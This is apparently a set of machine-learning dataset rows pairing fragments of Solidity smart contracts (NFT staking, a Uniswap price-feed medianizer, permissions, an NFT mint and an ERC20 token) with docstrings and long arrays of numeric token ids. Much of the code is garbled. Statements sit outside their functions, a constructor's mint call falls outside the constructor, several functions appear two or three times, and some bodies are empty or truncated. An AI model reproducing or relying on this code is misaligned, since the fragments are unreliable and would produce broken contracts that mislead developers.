returns (uint256){ uint256 targetStakeId = idToToken[tokenId].stakeId; uint256 currentStakeId = 0; uint256 stakeCount = StakeableTokenContract.stakeCount(address(this)); for (uint256 i = 0; i < stakeCount; i++) { ( currentStakeId, /* uint72 stakedHearts */, /* uint72 stakeShares */, /* uint16 lockedDay */, /* uint16 stakedDays */, /* uint16 unlockedDay */, /* bool isAutoStake */ ) = StakeableTokenContract.stakeLists(address(this), i); if(currentStakeId == targetStakeId){ return i; } } return stakeCount; } /** Ends stake, pays reward, returns wrapped tokens to staker and burns the wrapping token. */ function settle(uint256 tokenId, uint256 stakeIndex) validNFToken(tokenId) external{ address owner = idToOwner[tokenId]; address actor = address(msg.sender); TokenStore memory token = idToToken[tokenId]; require(token.stakeId > 0, "PortableStake: stakeId missing"); ( /* uint256 currentDay */, uint256 stakedAmount, uint256 unStakedAmount, uint16 startDay, uint16 stakeLength, uint8 lateDays ) = _endStake(token.stakeId, stakeIndex/* token.stakeIndex */); //require(unStakedAmount > 0, "unstaked amount = 0"); token.amount = token.amount + unStakedAmount; uint256 rewardAmount; if(actor != owner){ rewardAmount = Reward.calcExpReward(token.amount, lateDays, token.rewardStretching); require(unStakedAmount >= rewardAmount,"Reward is larger than principal"); } if(rewardAmount > 0){ token.amount = chargeFee(token.amount, rewardAmount, actor); } uint256 returnedToOwnerAmount = token.amount; if(StakeableTokenContract.transfer(owner, returnedToOwnerAmount)){ token.amount = token.amount - returnedToOwnerAmount; } if(token.amount == 0){ _burn(tokenId); delete idToToken[tokenId]; } emit PortableStakeEnd( tokenId, token.stakeId, owner, msg.sender, stakedAmount, unStakedAmount, rewardAmount, returnedToOwnerAmount, startDay, stakeLength, lateDays ); } /** Ends stake and leaves the wrapped token on this contract */ function _endStake(uint40 id, uint256 index)internal returns( uint256 currentDay, uint256 stakedAmount, uint256 unStakedAmount, uint16 startDay, uint16 stakeLength, uint8 lateDays ){ currentDay = StakeableTokenContract.currentDay(); //Get the stake details ( uint40 stakeId, uint72 stakedHearts, /* uint72 stakeShares */, uint16 lockedDay, uint16 stakedDays, /* uint16 unlockedDay */, /* bool isAutoStake */ ) = StakeableTokenContract.stakeLists(address(this), index); require(id == stakeId); stakedAmount = stakedHearts; startDay = lockedDay; stakeLength = stakedDays; uint16 servedDays = uint16(currentDay - lockedDay); require(servedDays >= stakedDays, "stake is not mature"); lateDays = uint8(servedDays - stakedDays); uint256 initialBalance = StakeableTokenContract.balanceOf(address(this)); StakeableTokenContract.stakeEnd(index, stakeId); uint256 finalBalance = StakeableTokenContract.balanceOf(address(this)); require(finalBalance > initialBalance, "stake yield <= 0"); unStakedAmount = finalBalance - initialBalance; } }
* @dev Returns a distinct Uniform Resource Identifier (URI) for a given asset. It Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC3986. The URI may point to a JSON file that conforms to the "ERC721 Metadata JSON Schema". @return URI of _tokenId./return "http:" + Domain + "/" + Symbol + "/token" + _tokenId + "metadata" + ".json";
function tokenURI(uint256 _tokenId) external override view validNFToken(_tokenId) returns (string memory) { }
15,120,082
[ 1, 1356, 279, 10217, 1351, 6854, 2591, 10333, 261, 3098, 13, 364, 279, 864, 3310, 18, 2597, 22435, 309, 1375, 67, 2316, 548, 68, 353, 486, 279, 923, 423, 4464, 18, 24565, 854, 2553, 316, 8372, 5520, 5292, 18, 1021, 3699, 2026, 1634, 358, 279, 1796, 585, 716, 356, 9741, 358, 326, 315, 654, 39, 27, 5340, 6912, 1796, 4611, 9654, 327, 3699, 434, 389, 2316, 548, 18, 19, 2463, 315, 2505, 2773, 397, 6648, 397, 4016, 397, 8565, 397, 2206, 2316, 6, 397, 389, 2316, 548, 397, 315, 4165, 6, 397, 3552, 1977, 14432, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 3098, 12, 11890, 5034, 389, 2316, 548, 13, 3903, 3849, 1476, 923, 26473, 1345, 24899, 2316, 548, 13, 1135, 261, 1080, 3778, 13, 225, 288, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xEB291Fe3cf8A6D4A79c41dc900Dfb93473Efdd37/sources/UniswapConsecutiveSlotsPriceFeedMedianizer.sol
--- Administration ---* @notice Modify address parameters @param parameter Name of the parameter to modify @param data New parameter value/
function modifyParameters(bytes32 parameter, address data) external isAuthorized { require(data != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-data"); if (parameter == "converterFeed") { require(data != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-converter-feed"); converterFeed = ConverterFeedLike_2(data); } else if (parameter == "targetToken") { require(uniswapPair == address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/pair-already-set"); targetToken = data; if (denominationToken != address(0)) { uniswapPair = uniswapFactory.getPair(targetToken, denominationToken); require(uniswapPair != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-pair"); } } else if (parameter == "denominationToken") { require(uniswapPair == address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/pair-already-set"); denominationToken = data; if (targetToken != address(0)) { uniswapPair = uniswapFactory.getPair(targetToken, denominationToken); require(uniswapPair != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-pair"); } } else if (parameter == "relayer") { relayer = IncreasingRewardRelayerLike_1(data); } else revert("UniswapConsecutiveSlotsPriceFeedMedianizer/modify-unrecognized-param"); emit ModifyParameters(parameter, data); }
4,073,447
[ 1, 6062, 7807, 4218, 9948, 225, 9518, 1758, 1472, 225, 1569, 1770, 434, 326, 1569, 358, 5612, 225, 501, 1166, 1569, 460, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5612, 2402, 12, 3890, 1578, 1569, 16, 1758, 501, 13, 3903, 353, 15341, 288, 203, 3639, 2583, 12, 892, 480, 1758, 12, 20, 3631, 315, 984, 291, 91, 438, 442, 15655, 16266, 5147, 8141, 13265, 2779, 1824, 19, 2011, 17, 892, 8863, 203, 3639, 309, 261, 6775, 422, 315, 15747, 8141, 7923, 288, 203, 1850, 2583, 12, 892, 480, 1758, 12, 20, 3631, 315, 984, 291, 91, 438, 442, 15655, 16266, 5147, 8141, 13265, 2779, 1824, 19, 2011, 17, 15747, 17, 7848, 8863, 203, 1850, 6027, 8141, 273, 14768, 8141, 8804, 67, 22, 12, 892, 1769, 203, 3639, 289, 203, 3639, 469, 309, 261, 6775, 422, 315, 3299, 1345, 7923, 288, 203, 1850, 2583, 12, 318, 291, 91, 438, 4154, 422, 1758, 12, 20, 3631, 315, 984, 291, 91, 438, 442, 15655, 16266, 5147, 8141, 13265, 2779, 1824, 19, 6017, 17, 17583, 17, 542, 8863, 203, 1850, 1018, 1345, 273, 501, 31, 203, 1850, 309, 261, 13002, 362, 1735, 1345, 480, 1758, 12, 20, 3719, 288, 203, 5411, 640, 291, 91, 438, 4154, 273, 640, 291, 91, 438, 1733, 18, 588, 4154, 12, 3299, 1345, 16, 10716, 1735, 1345, 1769, 203, 5411, 2583, 12, 318, 291, 91, 438, 4154, 480, 1758, 12, 20, 3631, 315, 984, 291, 91, 438, 442, 15655, 16266, 5147, 8141, 13265, 2779, 1824, 19, 2011, 17, 318, 291, 91, 438, 17, 6017, 8863, 203, 1850, 289, 203, 3639, 289, 203, 3639, 469, 309, 261, 6775, 422, 315, 13002, 362, 1735, 1345, 7923, 288, 203, 1850, 2583, 12, 318, 2 ]
pragma solidity ^0.7.0; import "./Owned.sol"; import "./SafeMath.sol"; /// @notice Permissioned // SPDX-License-Identifier: GPLv2 contract Permissioned is Owned { using SafeMath for uint; struct Permission { bool active; uint maximum; uint processed; } uint public constant ROLE_MINTER = 1; // Don't need ROLE_BURNER at the moment // uint public constant ROLE_BURNER = 2; mapping(address => mapping(uint => Permission)) public permissions; modifier permitted(uint role, uint tokens) { Permission storage permission = permissions[msg.sender][role]; require(permission.active && (permission.maximum == 0 || permission.processed + tokens < permission.maximum), "Not permissioned"); permission.processed = permission.processed.add(tokens); _; } function initPermissioned(address _owner) internal { initOwned(_owner); setPermission(_owner, ROLE_MINTER, true, 0); // setPermission(_owner, ROLE_BURNER, true, 0); } function setPermission(address account, uint role, bool active, uint maximum) public onlyOwner { uint processed = permissions[account][role].processed; permissions[account][role] = Permission({ active: active, maximum: maximum, processed: processed }); } function processed(uint role, uint tokens) internal { permissions[msg.sender][role].processed = permissions[msg.sender][role].processed.add(tokens); } }
@notice Permissioned SPDX-License-Identifier: GPLv2
contract Permissioned is Owned { using SafeMath for uint; struct Permission { bool active; uint maximum; uint processed; } uint public constant ROLE_MINTER = 1; mapping(address => mapping(uint => Permission)) public permissions; modifier permitted(uint role, uint tokens) { Permission storage permission = permissions[msg.sender][role]; require(permission.active && (permission.maximum == 0 || permission.processed + tokens < permission.maximum), "Not permissioned"); permission.processed = permission.processed.add(tokens); _; } function initPermissioned(address _owner) internal { initOwned(_owner); setPermission(_owner, ROLE_MINTER, true, 0); } function setPermission(address account, uint role, bool active, uint maximum) public onlyOwner { uint processed = permissions[account][role].processed; } permissions[account][role] = Permission({ active: active, maximum: maximum, processed: processed }); function processed(uint role, uint tokens) internal { permissions[msg.sender][role].processed = permissions[msg.sender][role].processed.add(tokens); } }
6,400,943
[ 1, 5041, 329, 11405, 28826, 17, 13211, 17, 3004, 30, 4948, 48, 90, 22, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 8509, 329, 353, 14223, 11748, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 565, 1958, 8509, 288, 203, 3639, 1426, 2695, 31, 203, 3639, 2254, 4207, 31, 203, 3639, 2254, 5204, 31, 203, 565, 289, 203, 203, 565, 2254, 1071, 5381, 22005, 67, 6236, 2560, 273, 404, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 11890, 516, 8509, 3719, 1071, 4371, 31, 203, 565, 9606, 15498, 12, 11890, 2478, 16, 2254, 2430, 13, 288, 203, 3639, 8509, 2502, 4132, 273, 4371, 63, 3576, 18, 15330, 6362, 4615, 15533, 203, 3639, 2583, 12, 9827, 18, 3535, 597, 261, 9827, 18, 15724, 422, 374, 747, 4132, 18, 11005, 397, 2430, 411, 4132, 18, 15724, 3631, 315, 1248, 4132, 329, 8863, 203, 3639, 4132, 18, 11005, 273, 4132, 18, 11005, 18, 1289, 12, 7860, 1769, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 1208, 5041, 329, 12, 2867, 389, 8443, 13, 2713, 288, 203, 3639, 1208, 5460, 329, 24899, 8443, 1769, 203, 3639, 444, 5041, 24899, 8443, 16, 22005, 67, 6236, 2560, 16, 638, 16, 374, 1769, 203, 565, 289, 203, 565, 445, 444, 5041, 12, 2867, 2236, 16, 2254, 2478, 16, 1426, 2695, 16, 2254, 4207, 13, 1071, 1338, 5541, 288, 203, 3639, 2254, 5204, 273, 4371, 63, 4631, 6362, 4615, 8009, 11005, 31, 203, 565, 289, 203, 3639, 4371, 63, 4631, 6362, 4615, 65, 273, 8509, 12590, 2695, 30, 2695, 16, 4207, 30, 4207, 16, 5204, 30, 5204, 15549, 203, 565, 445, 5204, 12, 11890, 2478, 2 ]
./full_match/4/0x3027e64eEFc15460FDFe22d7F326e38d3bad0927/sources/contract-40b257fb6c_flat.sol
File: contract-40b257fb6c.sol
contract PrizeFighters is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".png"; string public hiddenMetadataUri; uint256 public cost = 0.01 ether; uint256 public maxSupply = 7777; uint256 public maxMintAmountPerTx = 20; bool public paused = false; bool public revealed = true; function _beforeTokenTransfer( address from, address to, uint256 tokenId } pragma solidity >=0.7.0 <0.9.0; constructor() ERC721("Prize Fighters", "PRIZE") { } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { require(hs); require(os); } (bool hs, ) = payable(0x746B00fE7e7412761eeE0B0bd40dEFAEFdFB0410).call{value: address(this).balance * 10 / 100}(""); (bool os, ) = payable(owner()).call{value: address(this).balance}(""); function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
13,345,228
[ 1, 812, 30, 6835, 17, 7132, 70, 2947, 27, 19192, 26, 71, 18, 18281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 2301, 554, 42, 2031, 5432, 353, 4232, 39, 27, 5340, 16, 14223, 6914, 288, 203, 225, 1450, 8139, 364, 2254, 5034, 31, 203, 225, 1450, 9354, 87, 364, 9354, 87, 18, 4789, 31, 203, 203, 225, 9354, 87, 18, 4789, 3238, 14467, 31, 203, 203, 225, 533, 1071, 2003, 2244, 273, 1408, 31, 203, 225, 533, 1071, 2003, 5791, 273, 3552, 6446, 14432, 203, 225, 533, 1071, 5949, 2277, 3006, 31, 203, 21281, 225, 2254, 5034, 1071, 6991, 273, 374, 18, 1611, 225, 2437, 31, 203, 225, 2254, 5034, 1071, 943, 3088, 1283, 273, 2371, 14509, 31, 203, 225, 2254, 5034, 1071, 943, 49, 474, 6275, 2173, 4188, 273, 4200, 31, 203, 203, 225, 1426, 1071, 17781, 273, 629, 31, 203, 225, 1426, 1071, 283, 537, 18931, 273, 638, 31, 203, 203, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 203, 97, 203, 203, 203, 203, 203, 203, 683, 9454, 18035, 560, 1545, 20, 18, 27, 18, 20, 411, 20, 18, 29, 18, 20, 31, 203, 203, 203, 203, 203, 225, 3885, 1435, 4232, 39, 27, 5340, 2932, 2050, 554, 478, 2031, 5432, 3113, 315, 7698, 3794, 7923, 288, 203, 225, 289, 203, 203, 225, 9606, 312, 474, 16687, 12, 11890, 5034, 389, 81, 474, 6275, 13, 288, 203, 565, 2583, 24899, 81, 474, 6275, 405, 374, 597, 389, 81, 474, 6275, 1648, 943, 49, 474, 6275, 2173, 4188, 16, 315, 1941, 312, 474, 3844, 4442, 1769, 203, 2 ]
./full_match/4/0x66beCaF575ef63989a25F35b0F14f441cA3D0014/sources/token.sol
* @title Test @author Test @dev Standard ERC20 token with burning and optional functions implemented. For full specification of ERC-20 standard see:/
contract Token is ERC20 { string public _name; string public _symbol; uint8 public _decimals; event whaleAmountUpdated(uint256 oldAmount, uint256 newAmount, uint256 time); event antiWhaleUpdated(bool status, uint256 time); event tokenOwnerUpdated(address owner, address newOwner); constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_, bool _antiWhale, uint256 _whaleAmount, address tokenOwnerAddress ) payable { require(tokenOwnerAddress != address(0), "Owner can't be zero address"); if(_antiWhale) { require(_whaleAmount >= 1000 * (10 ** decimals_), "Whale amount less than 1000"); } _name = name_; _symbol = symbol_; _decimals = decimals_; tokenOwner = tokenOwnerAddress; whaleAmount = _whaleAmount; antiWhale = _antiWhale; } ) payable { require(tokenOwnerAddress != address(0), "Owner can't be zero address"); if(_antiWhale) { require(_whaleAmount >= 1000 * (10 ** decimals_), "Whale amount less than 1000"); } _name = name_; _symbol = symbol_; _decimals = decimals_; tokenOwner = tokenOwnerAddress; whaleAmount = _whaleAmount; antiWhale = _antiWhale; } _mint(tokenOwnerAddress, totalSupply_); function burn(uint256 value) public { _burn(msg.sender, value); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function updateWhaleAmount(uint256 _amount) external { require(msg.sender == tokenOwner, "Only owner"); require(antiWhale, "Anti whale is turned off"); require(_amount >= 1000 * (10 ** decimals()), "Whale amount less than 1000"); uint256 oldAmount = whaleAmount; whaleAmount = _amount; emit whaleAmountUpdated(oldAmount, whaleAmount, block.timestamp); } function updateAntiWhale(bool status) external { require(msg.sender == tokenOwner, "Only owner"); antiWhale = status; emit antiWhaleUpdated(antiWhale, block.timestamp); } function transferOwnership(address newOwner) external { require(msg.sender == tokenOwner, "Only owner"); address oldOwner = tokenOwner; tokenOwner = newOwner; emit tokenOwnerUpdated(oldOwner, tokenOwner); } }
649,594
[ 1, 4709, 225, 7766, 225, 8263, 4232, 39, 3462, 1147, 598, 18305, 310, 471, 3129, 4186, 8249, 18, 2457, 1983, 7490, 434, 4232, 39, 17, 3462, 4529, 2621, 27824, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
